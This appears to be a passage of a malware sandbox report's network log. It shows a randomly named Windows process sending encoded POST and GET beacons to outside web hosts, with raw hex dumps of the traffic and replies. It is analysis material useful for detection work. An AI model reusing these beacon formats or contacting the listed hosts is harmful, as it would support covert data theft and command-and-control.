Sep 11, 2024 22:03:21.832238913 CEST	758	OUT	POST /sid8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.vacaturecast.com Origin: http://www.vacaturecast.com Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.vacaturecast.com/sid8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 52 69 43 32 53 47 59 64 6c 61 52 4b 54 45 5a 41 32 71 67 6e 33 6a 41 6e 6d 31 4a 70 6f 73 64 36 4b 55 2f 6c 4c 62 56 43 55 44 73 65 55 43 4a 36 2b 59 52 4f 76 2b 66 34 64 63 73 79 45 6f 31 36 67 46 55 34 48 47 39 4f 62 72 63 49 58 6d 6c 43 6e 63 71 52 4e 6d 66 30 36 46 33 56 79 66 67 77 53 4e 61 4c 6b 32 38 34 53 6d 74 69 36 75 31 49 49 64 6c 72 7a 71 38 72 2f 2f 69 75 47 2b 5a 63 75 4f 64 56 76 30 33 37 51 7a 56 33 36 5a 2b 4d 33 6c 2f 65 4a 6e 63 75 4b 69 45 36 63 50 73 64 75 51 66 4c 52 4a 4b 6f 6d 43 33 34 39 5a 6c 69 6a 68 51 53 6f 4b 79 53 75 2f 50 70 52 6f 75 74 53 6a 6c 54 36 2f 51 54 44 6c 72 35 34 34 77 78 2f 77 3d 3d Data Ascii: bFGXGTdX=RiC2SGYdlaRKTEZA2qgn3jAnm1Jposd6KU/lLbVCUDseUCJ6+YROv+f4dcsyEo16gFU4HG9ObrcIXmlCncqRNmf06F3VyfgwSNaLk284Smti6u1IIdlrzq8r//iuG+ZcuOdVv037QzV36Z+M3l/eJncuKiE6cPsduQfLRJKomC349ZlijhQSoKySu/PpRoutSjlT6/QTDlr544wx/w==
Sep 11, 2024 22:03:22.474281073 CEST	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.1 Date: Wed, 11 Sep 2024 20:03:22 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 305 Connection: close Location: http://pacopodcast.nl/sid8/ X-Powered-By: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 61 63 6f 70 6f 64 63 61 73 74 2e 6e 6c 2f 73 69 64 38 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 76 61 63 61 74 75 72 65 63 61 73 74 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://pacopodcast.nl/sid8/">here</a>.</p><hr><address>Apache Server at www.vacaturecast.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49715	91.184.0.111	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:24.665750980 CEST	1771	OUT	POST /sid8/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.vacaturecast.com Origin: http://www.vacaturecast.com Content-Length: 1233 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.vacaturecast.com/sid8/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 52 69 43 32 53 47 59 64 6c 61 52 4b 54 45 5a 41 32 71 67 6e 33 6a 41 6e 6d 31 4a 70 6f 73 64 36 4b 55 2f 6c 4c 62 56 43 55 41 4d 65 55 51 42 36 2f 37 35 4f 31 2b 66 34 54 38 73 33 45 6f 31 64 67 46 4d 38 48 47 78 65 62 74 59 49 58 48 46 43 76 4e 71 52 65 47 66 30 7a 6c 33 55 38 2f 67 66 53 4e 71 50 6b 32 73 34 53 6d 74 69 36 6f 52 49 59 38 6c 72 78 71 38 6b 34 2f 6a 38 43 2b 5a 34 75 4f 6c 76 76 30 79 45 51 67 74 33 36 35 4f 4d 36 33 58 65 46 6e 63 77 4a 69 45 69 63 50 67 4f 75 51 72 74 52 4a 50 7a 6d 42 6e 34 77 66 6b 5a 6e 43 39 45 2f 35 57 45 75 74 76 6f 61 66 54 4e 4b 53 4d 49 77 50 38 48 56 68 79 39 2b 49 5a 72 6b 62 4e 79 43 41 6d 76 4f 77 42 4c 44 63 63 63 54 4d 64 58 45 72 45 46 76 4b 67 64 46 56 53 4f 5a 68 62 46 77 49 73 67 51 4a 67 61 79 6e 2f 36 67 55 75 4d 77 78 6a 41 61 4a 4f 43 61 43 58 31 51 58 55 78 51 33 53 62 64 79 44 4a 43 74 4b 64 56 38 54 6d 5a 33 58 49 53 2b 7a 34 79 33 42 43 55 45 58 33 68 52 54 39 76 38 39 50 69 5a 78 47 4e 30 44 52 4d 6a 41 35 41 [TRUNCATED] Data Ascii: bFGXGTdX=RiC2SGYdlaRKTEZA2qgn3jAnm1Jposd6KU/lLbVCUAMeUQB6/75O1+f4T8s3Eo1dgFM8HGxebtYIXHFCvNqReGf0zl3U8/gfSNqPk2s4Smti6oRIY8lrxq8k4/j8C+Z4uOlvv0yEQgt365OM63XeFncwJiEicPgOuQrtRJPzmBn4wfkZnC9E/5WEutvoafTNKSMIwP8HVhy9+IZrkbNyCAmvOwBLDcccTMdXErEFvKgdFVSOZhbFwIsgQJgayn/6gUuMwxjAaJOCaCX1QXUxQ3SbdyDJCtKdV8TmZ3XIS+z4y3BCUEX3hRT9v89PiZxGN0DRMjA5A1mgXm9y2Tt2ePdR37qgzZ+s24sBV4wUiE/zTRRvnhVL3P/VpSrb0tLoPEfN+WUCkn3wzpD5xI0GmHm4PRMbi74b8klTgyfMTn3eN+F2OzjVbnytrUdwUS7St/0zh5EsiK7x3fkdpuxZ1DxDj9hQ8MtU/QViOSqp02fWvu8p3qd1D2igXxtUrsaVMIIiDDg4DhoKF2wcgkbkkJDx3lXfXNVVLlNlKKi2F3Sb+ir2iIUDddPU8dlk4SwL+THtNTy1/BuSd86hIsz5yvQbIRNqfZ5jZz1rx5aTpGJPggKgUNohFcxk1EXci2LpjU+RrWfQw9GFhPiSaKZLP43Z9mPZgz96NXvGoaNUSZQPRbenU4gXCkBIR/h5oZIlE/ML1fNDqKGRUEMlabKihGvxPvlIL2z5hrlvJhqLCbHQ+1wxzJ7CtRjJWQxtBITxvPTXro63pxfrexxgYcxp8d0UIEJ+F+AKpdaRXmcasKZBHU4hjSzZCJPvaLedZlU1YIyOgakj5277UDvj9BC7LxASvEuETrlQj3kcBkgx5cI++shr0CgchUuqFDiEwCnExkKexhacqPds4mJL5mTFlRU/g+F4/8yBEVWisxf+Es/3of7uvFeqhVevUSniASMz8YJEEqzeU2IRkvulJ2XLejjNydTVyd9Teq4tfQ8gQav [TRUNCATED]
Sep 11, 2024 22:03:25.415575027 CEST	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.1 Date: Wed, 11 Sep 2024 20:03:25 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 305 Connection: close Location: http://pacopodcast.nl/sid8/ X-Powered-By: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 61 63 6f 70 6f 64 63 61 73 74 2e 6e 6c 2f 73 69 64 38 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 76 61 63 61 74 75 72 65 63 61 73 74 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://pacopodcast.nl/sid8/">here</a>.</p><hr><address>Apache Server at www.vacaturecast.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.10	49716	91.184.0.111	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:27.200853109 CEST	463	OUT	GET /sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-us Host: www.vacaturecast.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36
Sep 11, 2024 22:03:27.843063116 CEST	830	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.1 Date: Wed, 11 Sep 2024 20:03:27 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 449 Connection: close Location: http://pacopodcast.nl/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8 X-Powered-By: PleskLin Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 70 61 63 6f 70 6f 64 63 61 73 74 2e 6e 6c 2f 73 69 64 38 2f 3f 62 46 47 58 47 54 64 58 3d 63 67 71 57 52 78 42 48 69 73 5a 45 66 6b 34 62 37 59 52 38 39 67 70 45 75 77 6b 35 6f 38 55 48 48 6c 47 6a 41 72 68 2f 62 77 67 68 46 54 52 35 68 70 45 2f 2b 65 44 49 4b 76 34 37 4c 61 64 56 69 69 4a 4e 41 30 6c 39 55 37 41 4a 63 45 59 6f 36 2f 44 4a 49 6c 6e 45 33 31 32 4c 38 2b 4a 46 64 75 6d 57 6c 48 4d 31 4c 47 74 6b 72 2f 74 36 62 67 3d 3d 26 61 6d 70 3b 4d 38 37 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://pacopodcast.nl/sid8/?bFGXGTdX=cgqWRxBHisZEfk4b7YR89gpEuwk5o8UHHlGjArh/bwghFTR5hpE/+eDIKv47LadViiJNA0l9U7AJcEYo6/DJIlnE312L8+JFdumWlHM1LGtkr/t6bg==&M87d=RDddFbF8">here</a>.</p><hr><address>Apache Server at www.vacaturecast.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49717	193.108.130.23	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:33.556015015 CEST	722	OUT	POST /6iyv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.drivemktg.co Origin: http://www.drivemktg.co Content-Length: 197 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.drivemktg.co/6iyv/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 64 57 49 44 6d 61 46 4d 4a 64 7a 46 61 31 66 56 64 4e 67 6e 46 6f 39 4b 31 6b 2b 2b 46 45 78 76 2b 74 73 62 6b 63 64 69 42 46 64 75 73 6f 74 6d 56 38 74 34 54 69 2b 42 6e 70 38 63 73 30 4d 39 5a 64 70 35 4c 64 77 6d 41 72 6f 6e 50 55 4f 74 77 6d 56 32 61 6d 4e 4c 6a 65 42 61 2f 2f 53 62 6a 2f 35 34 6f 56 6c 65 69 38 2b 51 68 30 49 2b 59 31 6f 65 7a 59 38 73 52 31 37 31 6e 69 42 53 79 38 42 4d 59 57 5a 68 4d 78 42 31 6c 2f 6e 6c 65 42 45 61 66 6f 52 32 41 2f 4e 79 6b 34 73 56 71 2b 48 6d 6c 65 51 4f 54 69 56 45 75 73 4f 31 52 67 68 32 53 79 78 47 32 4c 64 73 Data Ascii: bFGXGTdX=dWIDmaFMJdzFa1fVdNgnFo9K1k++FExv+tsbkcdiBFdusotmV8t4Ti+Bnp8cs0M9Zdp5LdwmAronPUOtwmV2amNLjeBa//Sbj/54oVlei8+Qh0I+Y1oezY8sR171niBSy8BMYWZhMxB1l/nleBEafoR2A/Nyk4sVq+HmleQOTiVEusO1Rgh2SyxG2Lds
Sep 11, 2024 22:03:34.587290049 CEST	1236	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.29 x-litespeed-tag: fae_HTTP.200 content-type: text/html; charset=UTF-8 link: <https://drivemktg.co/wp-json/>; rel="https://api.w.org/" link: <https://drivemktg.co/wp-json/wp/v2/pages/10>; rel="alternate"; title="JSON"; type="application/json" link: <https://drivemktg.co/?p=10>; rel=shortlink x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 transfer-encoding: chunked content-encoding: br vary: Accept-Encoding,User-Agent date: Wed, 11 Sep 2024 20:03:11 GMT server: LiteSpeed Data Raw: 32 33 62 62 0d 0a 30 b4 2d a2 aa d6 43 46 a4 26 f5 00 68 a4 2c 9c bf 7f 84 0e 9f f3 fe db 2f ab ef ce cf 17 61 ab 0c 4c 23 9a a4 af 35 c3 1c d7 69 d7 16 ea d3 d0 ad e0 c2 33 47 d9 4e be aa fe 77 f3 f3 85 a3 4f 2f 62 1f 40 61 73 28 76 86 33 ea 66 38 8d 3b b6 0e 24 41 0a 36 48 a2 00 28 51 d6 f9 ff f7 97 e6 39 5b 22 9e 3e e5 6e 51 06 48 30 33 c6 32 08 ed 76 09 df 07 e7 64 46 52 61 2a 44 85 64 bb 10 15 e4 02 ef bb f7 c1 cc 9f 2f 5e 90 65 ad 11 b5 c4 d4 a6 4c 6d 19 02 00 55 da 34 c5 68 42 0a 70 c5 50 e5 6c d1 36 79 0c 67 3d c3 40 24 8c 95 6e cb 98 d6 db de da af 90 0d 22 44 50 1f c3 a1 7b a6 35 0b c4 98 c2 6f 53 08 58 f0 c1 ec fe 16 bb b6 f7 aa a3 2b 0a 36 fe fe 75 1e 87 f3 25 84 90 fb 1d e0 7a f2 b7 05 40 45 17 fe 2e ad 3f 76 ad b1 b7 c4 43 ab 68 ef 5d 6d 5a 18 d4 fa b1 6a ba be 91 ce 37 c9 a1 b6 c9 72 e9 f5 cc 19 db 14 ba bc dd 3f 8a ca 9b 1d 74 b7 d8 c8 d2 25 87 ae f5 7d 29 fb 6d 4f 1f cc a4 ea 51 16 ad b6 b7 24 fa e7 6a b5 5c 6e c8 33 6f 76 40 de 6b 7f 0b 68 6c 43 84 6b 97 c8 a7 ad 69 4d df 1b 0b a1 [TRUNCATED] Data Ascii: 23bb0-CF&h,/aL#5i3GNwO/b@as(v3f8;$A6H(Q9[">nQH032vdFRaDd/^eLmU4hBpPl6yg=@$n"DP{5oSX+6u%z@E.?vCh]mZj7r?t%})mOQ$j\n3ov@khlCkiM3s\,+l!6n ^Pg$folV,Y<L<FlLgBT6#/GJ(NSu`1 $2l:wcM f5O$tY(OJ!O\|dy.Sr'TP8 4AYv1#KHKgK0eC5ZdHCCZdgw+:MYrob"\|[eFX>
Sep 11, 2024 22:03:34.587312937 CEST	224	IN	Data Raw: 27 4e 04 01 1b bb 85 49 c9 80 8f e8 8f f6 f5 a8 c6 e6 11 97 fa 06 01 43 06 22 33 aa ca 92 fc 39 5c f6 a6 f7 fd f0 b1 66 7c da 04 08 c1 38 fb 15 9d d7 0d c8 00 f8 1a a1 63 4e bc f9 fa f1 83 0c e8 8d 6d 4c 7d 64 c8 f9 94 b6 d7 8f d3 84 c2 58 7b 06 Data Ascii: 'NIC"39\f\|8cNmL}dX{#F(" Kmw:Vj!nq6mP"H\|'@6;3(Yi\x:NEu 0J)'N{-C>:[a
Sep 11, 2024 22:03:34.587327957 CEST	1236	IN	Data Raw: f9 50 43 5a e7 c3 2a 4d ab 7c 58 5d e8 4b d3 78 d4 69 e9 e2 4c f0 87 f3 65 36 07 3d b4 aa f5 f7 01 d7 d4 5a 00 c2 8e 86 e3 51 74 fb 70 eb fa 2c 1f aa e2 2c cd 87 aa bc b8 fc 5e 72 55 f2 3c 06 f8 89 ba 8c 4d d5 19 0a d8 03 65 5a f6 aa ec f3 53 06 Data Ascii: PCZM\|X]KxiLe6=ZQtp,,^rU<MeZS9d 8KTPk+>'(YK\_N{ls\M~:e~-]Q-C{C.NS<Oyf.R.**i/b{SLK>ZcAQt=
Sep 11, 2024 22:03:34.587376118 CEST	1236	IN	Data Raw: 96 51 a3 fc ed 8d 6a a8 b5 af c0 45 d7 d4 bb ab 30 fd 3e a2 de 6b 3d 52 e6 e2 ae c0 45 5e b7 4d 2d 62 60 7a 39 3b 31 6e 71 c1 b7 84 51 04 df 8b 75 05 2e 0a dd 92 ae 81 6f f8 38 89 b1 2c 99 66 1f 45 37 7b 67 75 05 2e ca 5a 10 1d cf 0b dd 7b d5 1a Data Ascii: QjE0>k=RE^M-b`z9;1nqQu.o8,fE7{gu.Z{=P,`-0Vk!9$)+zMWi$%&BJ1$]rR\@uAqB"f5B@LQ;r6uBq6Xb%$
Sep 11, 2024 22:03:34.587404966 CEST	1236	IN	Data Raw: 0d d2 d0 75 dd b6 d0 af 8f 0f 63 4e 05 8e 14 aa 6a bb 25 80 66 43 da 53 95 f1 2a ac 14 ca dd ab 40 a3 6c b3 c6 99 94 b9 1e c0 ff 01 75 4b 3a ff 44 92 31 c6 a2 b7 cc 5f cd 38 8d 7a fb 94 ed 55 a8 51 15 b5 74 15 67 2a 91 45 aa ad 0f 59 2d 07 e1 23 Data Ascii: ucNj%fCS@luK:D1_8zUQtgEY-#l-"H2**gnBE.Unt_m\|-`_>#QCDg9!k@{@E_-Nj.DD;i.}H@{23;9nDs}!qS.)~r
Sep 11, 2024 22:03:34.587430954 CEST	672	IN	Data Raw: 99 e7 94 57 c7 b4 d9 d8 4d 63 2c d5 cc ae 9e 3f 0e 79 0e 41 87 60 f9 b6 91 a0 e4 2f 7d d6 f9 00 67 47 98 bb ce 2c 55 20 e3 c2 3e a6 f9 ee 69 e6 57 27 ab 63 d4 de 91 7c 90 0a 83 98 6b cd a8 5d 5f 96 4b b2 92 3c 75 64 9e e0 d1 72 97 92 63 bf 8f 09 Data Ascii: WMc,?yA`/}gG,U >iW'c\|k]_K<udrcCO}s0O +X@,noe Na($t$='Ndb:uU^GH\N#e%{mR_i+MD0'F*pL!S2$`ND2Fdj8$
Sep 11, 2024 22:03:34.587446928 CEST	1236	IN	Data Raw: 51 69 83 9b 50 28 bb c9 fd 5e 9e 98 b0 c5 14 06 0c 51 49 3b 00 cf 92 06 fd 98 4a 79 88 8c 26 9b 19 c9 c8 84 65 77 e4 54 5a e6 13 9c 04 91 7c 96 b4 46 2b e6 90 bd da b1 e0 9e 36 ca 93 f1 04 45 61 98 22 6f cc 84 42 d9 4d ee f7 f2 64 e1 4e 61 e4 42 Data Ascii: QiP(^QI;Jy&ewTZ\|F+6Ea"oBMdNaBc'C+d:@qi3`G0rhh+LcC,eB#&l`fg%bRK9TNzG6"4F=eyF.wP3yN" tZsY\gLt"7\=;(
Sep 11, 2024 22:03:34.587464094 CEST	1236	IN	Data Raw: 94 c0 57 2d e4 ce e5 81 a3 a9 d0 ff 73 c9 af be 27 c5 cd 32 c3 43 f2 fd ae a3 35 3f d5 28 b0 95 1a ff f1 33 de 66 07 13 3b 97 38 e5 f5 18 5b 29 05 34 d4 fc 24 87 56 19 02 be 07 bd 91 c8 66 61 d4 fa 56 85 9a ab 3e 44 42 40 48 8e dd 92 a6 ad 8c ce Data Ascii: W-s'2C5?(3f;8[)4$VfaV>DB@H\F0USM$c}N-VV763UD/6&mh_[>}2Fe^BVSu\va)_eYP<IS$PRg/Hz%VPj%CB
Sep 11, 2024 22:03:34.587480068 CEST	1236	IN	Data Raw: bd 03 c1 8c bd d5 3f de 25 e4 54 af 81 9b 42 34 2d 22 18 1c 5d dd 3d 88 13 88 5f 3b 06 d3 ea 5a 79 9e d4 e6 82 da 3f 0a 3c 00 52 0f 80 e4 03 cb b4 e6 c0 81 c0 aa 7e 9a e2 cc b6 34 d0 07 16 24 5a 95 b5 c9 95 2c 0f b0 2e f0 d8 1c ff 60 df 3c de 69 Data Ascii: ?%TB4-"]=_;Zy?<R~4$Z,.`<i#eQb6E\BxDz#S=PbDnq{R}zcN;h=- 5gF\|!~l/oZ2806?>[Srb\G2Pa7:bJ{lI
Sep 11, 2024 22:03:34.587493896 CEST	207	IN	Data Raw: cf 57 19 84 1f ef 69 27 f8 17 8b 4e 22 18 6c 23 3d 29 c5 d5 59 40 5e 3b 7b 12 54 0a 36 d0 33 ed 35 a1 fb 90 80 0e 34 51 32 af ed e8 50 88 5e 45 dd 9f 3a d6 b8 20 11 74 2f 68 a3 5f 35 fb 56 43 ad a9 d1 8f fe a7 1c cc b8 4c 7e 5c 7f 74 ff 5f 92 b8 Data Ascii: Wi'N"l#=)Y@^;{T6354Q2P^E: t/h_5VCL~\t_&_W<OW6as#Z?Dq{-07NN/y4Tu9mHH+L%*!XHL&3@pi5.Bg
Sep 11, 2024 22:03:34.588038921 CEST	11	IN	Data Raw: 31 0d 0a 03 0d 0a 30 0d 0a 0d 0a Data Ascii: 10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49718	193.108.130.23	80	4832	C:\Program Files (x86)\yvHDdoDzTguXRqSVGhynJKHNLRigLVoxaTRdKplBqAbbDD\sBEHitnKGhZWYiAcpZiUlBvQLEQOwr.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 22:03:36.094854116 CEST	746	OUT	POST /6iyv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.drivemktg.co Origin: http://www.drivemktg.co Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Referer: http://www.drivemktg.co/6iyv/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 Data Raw: 62 46 47 58 47 54 64 58 3d 64 57 49 44 6d 61 46 4d 4a 64 7a 46 62 56 50 56 66 72 6f 6e 4f 6f 39 4a 77 6b 2b 2b 4d 6b 78 72 2b 74 67 62 6b 5a 39 79 42 58 4a 75 73 49 39 6d 48 6f 78 34 53 69 2b 42 70 4a 38 56 69 55 4d 32 5a 64 74 62 4c 63 4d 6d 41 6f 55 6e 50 57 6d 74 77 78 4a 31 59 32 4e 4e 76 2b 42 45 6e 66 53 62 6a 2f 35 34 6f 56 41 44 69 39 57 51 68 48 41 2b 61 55 6f 5a 2f 34 38 6a 57 31 37 31 78 53 41 62 79 38 41 70 59 58 45 4d 4d 79 70 31 6c 2b 58 6c 65 56 59 64 57 6f 52 38 4f 66 4d 4f 6e 36 68 71 6c 73 62 63 69 66 38 4e 46 6a 6f 74 6b 74 76 79 41 78 41 68 42 46 74 49 34 4e 6f 47 6a 62 52 52 65 4c 68 57 35 31 51 52 59 50 34 6f 39 73 42 34 35 67 3d 3d Data Ascii: bFGXGTdX=dWIDmaFMJdzFbVPVfronOo9Jwk++Mkxr+tgbkZ9yBXJusI9mHox4Si+BpJ8ViUM2ZdtbLcMmAoUnPWmtwxJ1Y2NNv+BEnfSbj/54oVADi9WQhHA+aUoZ/48jW171xSAby8ApYXEMMyp1l+XleVYdWoR8OfMOn6hqlsbcif8NFjotktvyAxAhBFtI4NoGjbRReLhW51QRYP4o9sB45g==
Sep 11, 2024 22:03:37.143892050 CEST	1236	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/8.1.29 x-litespeed-tag: fae_HTTP.200 content-type: text/html; charset=UTF-8 link: <https://drivemktg.co/wp-json/>; rel="https://api.w.org/" link: <https://drivemktg.co/wp-json/wp/v2/pages/10>; rel="alternate"; title="JSON"; type="application/json" link: <https://drivemktg.co/?p=10>; rel=shortlink x-litespeed-cache-control: no-cache cache-control: no-cache, no-store, must-revalidate, max-age=0 content-length: 9147 content-encoding: br vary: Accept-Encoding,User-Agent date: Wed, 11 Sep 2024 20:03:13 GMT server: LiteSpeed Data Raw: 62 68 3b a2 aa d6 43 46 a4 26 f5 00 68 a4 2c 9c bf 7f 84 0e 9f f3 fe db 2f ab ef ce cf 17 61 ab 0c 4c 23 9a a4 af 35 c3 1c d7 69 d7 16 ea d3 d0 ad e0 c2 33 47 d9 4e be aa fe 77 f3 f3 85 a3 4f 2f 62 1f 40 61 73 28 76 86 33 ea 66 38 8d 3b b6 0e 24 41 0a 36 48 a2 00 28 51 d6 f9 ff f7 97 e6 39 5b 22 9e 3e e5 6e 51 06 48 30 33 c6 32 08 ed 76 09 df 07 e7 64 46 52 61 2a 44 85 64 bb 10 15 e4 02 ef bb f7 c1 cc 9f 2f 5e 90 65 ad 11 b5 c4 d4 a6 4c 6d 19 02 00 55 da 34 c5 68 42 0a 70 c5 50 e5 6c d1 36 79 0c 67 3d c3 40 24 8c 95 6e cb 98 d6 db de da af 90 0d 22 44 50 1f c3 a1 7b a6 35 0b c4 98 c2 6f 53 08 58 f0 c1 ec fe 16 bb b6 f7 aa a3 2b 0a 36 fe fe 75 1e 87 f3 25 84 90 fb 1d e0 7a f2 b7 05 40 45 17 fe 2e ad 3f 76 ad b1 b7 c4 43 ab 68 ef 5d 6d 5a 18 d4 fa b1 6a ba be 91 ce 37 c9 a1 b6 c9 72 e9 f5 cc 19 db 14 ba bc dd 3f 8a ca 9b 1d 74 b7 d8 c8 d2 25 87 ae f5 